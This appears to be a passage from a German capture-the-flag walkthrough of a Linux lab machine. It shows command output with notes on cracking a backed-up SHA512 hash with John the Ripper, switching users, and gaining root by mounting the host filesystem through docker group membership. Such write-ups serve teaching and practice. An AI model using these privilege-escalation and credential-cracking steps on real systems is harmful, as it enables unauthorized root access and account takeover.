
**Empfehlung:** Suchen Sie nach Kernel-Exploits für diese Kernelversion.

daemon@debian:/home/jarretlee$ su jarretlee
Password: NoBrUtEfrCe__R3Qu1R3d__
                

Hier wird versucht, sich als Benutzer "jarretlee" anzumelden.

**Analyse:** Die Anmeldung ist erfolgreich.

**Empfehlung:** Fahren Sie mit der Erkundung des Systems als Benutzer "jarretlee" fort.

jarretlee@debian$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for jarretlee: 
Sorry, user jarretlee may not run sudo on localhost.
                

Hier wird versucht, die sudo-Rechte des Benutzers "jarretlee" anzuzeigen.

**Analyse:** Der Benutzer "jarretlee" darf sudo nicht ausführen.

**Empfehlung:** Versuchen Sie andere Methoden zur Privilege Escalation.

jarretlee@debian$ ls -al
total 32
drwxr-xr-x 3 jarretlee jarretlee 4096 Jun 25  2020 .
drwxr-xr-x 3       600 root      4096 Jun 17  2020 ..
-rw- 1 jarretlee jarretlee  177 Jun 17  2020 .backups
-rw- 1 jarretlee jarretlee  515 Jun 25  2020 .bash_history
-rw-r--r-- 1 jarretlee jarretlee  220 Jun 17  2020 .bash_logout
-rw-r--r-- 1 jarretlee jarretlee 3526 Jun 17  2020 .bashrc
drwx 3 jarretlee jarretlee 4096 Jun 25  2020 .gnupg
-rw-r--r-- 1 jarretlee jarretlee  807 Jun 17  2020 .profile
                

Hier wird das Home-Verzeichnis des Benutzers "jarretlee" angezeigt.

**Analyse:** Das Verzeichnis enthält die üblichen Konfigurationsdateien.

**Empfehlung:** Da das Suchen schon mal erfolglos war, versuchen wir es mal mit Cat im nächsten Schritt, vielleicht wurde hier was gespeichert.

jarretlee@debian$ cat .backups
amVldmFuiQ2JExYTmFrYUJSSi90TDVGMmEkYkNnaXlsay9MWTJNZUZwNXo5WVp5aWV6c05zZ2ouNS9jRG9oUmdGUkJZHJ3aS8ySVBrVU8wcnFWSU0zTzh2eXNjNDhnM1pwby9zSHVvLnF3QmY0VTE6MTg0MzA6MDo5Tk5To3jo6
jeevan:$6$LXNakaBRJ/tL5F2a$bCgiylk/LY2MeFp5z9YZyiezsNsgj.5/cDohRgFRBNdrwi/2IPkU0rqVIM38vysc48g3Zpo/sHuo.qwBf4U1:18430:0:99999:7:
                

Hier wird der Inhalt der .backups Datei angezeigt.

**Analyse:** Die Datei enthält einen Base64-kodierten String und einen SHA512-crypt Hash. Der Base64 String könnte ein Benutzername und Passwort Kombi sein.

**Empfehlung:** Dekodieren Sie den Base64-String und knacken Sie den SHA512-crypt Hash.

┌──(root㉿cyber)-[~]
└─# echo 'jeevan:$6$LXNakaBRJ/tL5F2a$bCgiylk/LY2MeFp5z9YZyiezsNsgj.5/cDohRgFRBNdrwi/2IPkU0rqVIM38vysc48g3Zpo/sHuo.qwBf4U1:18430:0:99999:7:' > hash
                

Hier wird der Hash in eine Datei namens hash geschrieben.

**Analyse:** Dies dient dazu, den Hash mit John the Ripper zu knacken.

**Empfehlung:** Knacken Sie den Hash mit John the Ripper.

┌──(root㉿cyber)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

hannahmontana    (jeevan)

1g 0:00:00:00 DNE (2024-02-02 00:19) 5.555g/s 22755p/s 22755c/s 22755C/s edison..shasta
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
                

Hier wird John the Ripper verwendet, um den Hash zu knacken.

**Analyse:** Das Passwort für den Benutzer "jeevan" wurde erfolgreich geknackt: "hannahmontana".

**Empfehlung:** Versuchen Sie, sich als Benutzer "jeevan" anzumelden.

jarretlee@debian$ su jeevan
Password:
                

Hier wird versucht, sich als Benutzer "jeevan" anzumelden.

**Analyse:** Passwort wird benötigt.

**Empfehlung:** Geben Sie das Passwort "hannahmontana" ein.

jeevan@debian:/home/jarretlee$ sudo -l
[sudo] password for jeevan: 
Sorry, user jeevan may not run sudo on localhost.
jeevan@debian:/home/jarretlee$ 
                

Hier wird versucht, die sudo-Rechte des Benutzers "jeevan" anzuzeigen.

**Analyse:** Der Benutzer "jeevan" darf sudo nicht ausführen.

**Empfehlung:** Da sudo nicht funktioniert, suchen wir weiter nach Möglichkeiten, um die Rechte zu erhöhen.

jeevan@debian:/home/jarretlee$ id
uid=1003(jeevan) gid=1005(jeevan) groups=1005(jeevan),115(docker)
                

Der Befehl id zeigt die Benutzer- und Gruppen-ID des aktuellen Benutzers an.

**Analyse:** Die Ausgabe zeigt, dass der Benutzer "jeevan" Mitglied der Gruppe "docker" ist. Dies könnte für Privilege Escalation ausgenutzt werden.

**Empfehlung:** Nutzen Sie die Zugehörigkeit zur Docker-Gruppe zur Privilege Escalation.

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe

docker run -it --rm -v /:/mnt  chroot /mnt bash
docker run -it --rm -v /:/mnt debian chroot /mnt bash
                

Dies sind die Befehle, die verwendet werden, um die Docker-Gruppe zur Privilege Escalation auszunutzen.

**Analyse:** Mit diesen Befehlen kann man ein Docker-Image mounten und chrooten, wodurch man Root-Zugriff auf das Host-System erhält.

**Empfehlung:** Führen Sie einen der Befehle aus.

jeevan@debian:/home/jarretlee$ docker run -it --rm -v /:/mnt debian chroot /mnt bash
Unable to find image 'debian:latest' locally
latest: Pulling from library/debian
6a299ae9cfd9: Pull complete 
Digest: sha256:79becb70a6247d277b59c09ca340bbe0349af6aacb5afa90ec349528b53ce2c9
Status: Downloaded newer image for debian:latest
                

Hier wird der Docker-Befehl ausgeführt.

**Analyse:** Das Docker-Image "debian:latest" wird heruntergeladen und gestartet.

**Empfehlung:** Überprüfen Sie, ob Sie Root-Zugriff erhalten haben.

root@9714790488a3:/# id
uid=0(root) gid=0(root) groups=0(root)
                  

Der Befehl id zeigt die Benutzer- und Gruppen-ID des aktuellen Benutzers an.

**Analyse:** Die Ausgabe zeigt, dass wir nun als Benutzer "root" angemeldet sind.

**Empfehlung:** Erkunden Sie das System und suchen Sie nach der Root-Flag.

root@9714790488a3:/# ls
bin   extlinux.conf   ldlinux.c32  lost+found  proc  snap  usr
boot  home	      ldlinux.sys  media       root  srv   var
dev   initrd.img      lib	   mnt	       run   sys   vmlinuz
etc   initrd.img.old  lib64	   opt	       sbin  tmp   vmlinuz.old
                    

Hier werden die Dateien im Root-Verzeichnis angezeigt.

**Analyse:** Das Root-Verzeichnis enthält die Standarddateien und -verzeichnisse eines Linux-Systems. Besonders interessant sind die Verzeichnisse "home" und "root", die die Home-Verzeichnisse der Benutzer enthalten.

**Empfehlung:** Wechseln Sie in das Root-Verzeichnis und suchen Sie nach der Root-Flag.

root@9714790488a3:/# cd ~
root@9714790488a3: ls
bitnami  bitnami_credentials  jeevan  root.txt
                     

Hier wird das Root-Verzeichnis des Root Benutzers aufgerufen.

**Analyse:** Das Verzeichnis enthält die Datei root.txt.

**Empfehlung:** Lesen Sie den Inhalt der Datei root.txt, um die Root-Flag zu erhalten.

root@9714790488a3: cat root.txt
                    

Hier wird der Inhalt der Datei root.txt angezeigt.

**Analyse:** Die Datei root.txt enthält die Root-Flag.

**Empfehlung:** Flag notieren und dem Bericht hinzufügen.

Flags

cat root.txt
    
_ _ _ _ __ __ __ ___ | | | | o __| | ___ _ _ ___ | | \ V V / / -_) | | | | o / _` | / _ \ | ' \ / -_) |_| \_/\_/ \___| _|_|_ _|_|_ TS__[] \__,_| \___/ |_||_| \___| _(_)_ _|"""""|_|"""""|_|"""""|_|"""""| {|_|"""""|_|"""""|_|"""""|_|"""""|_| """ | "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'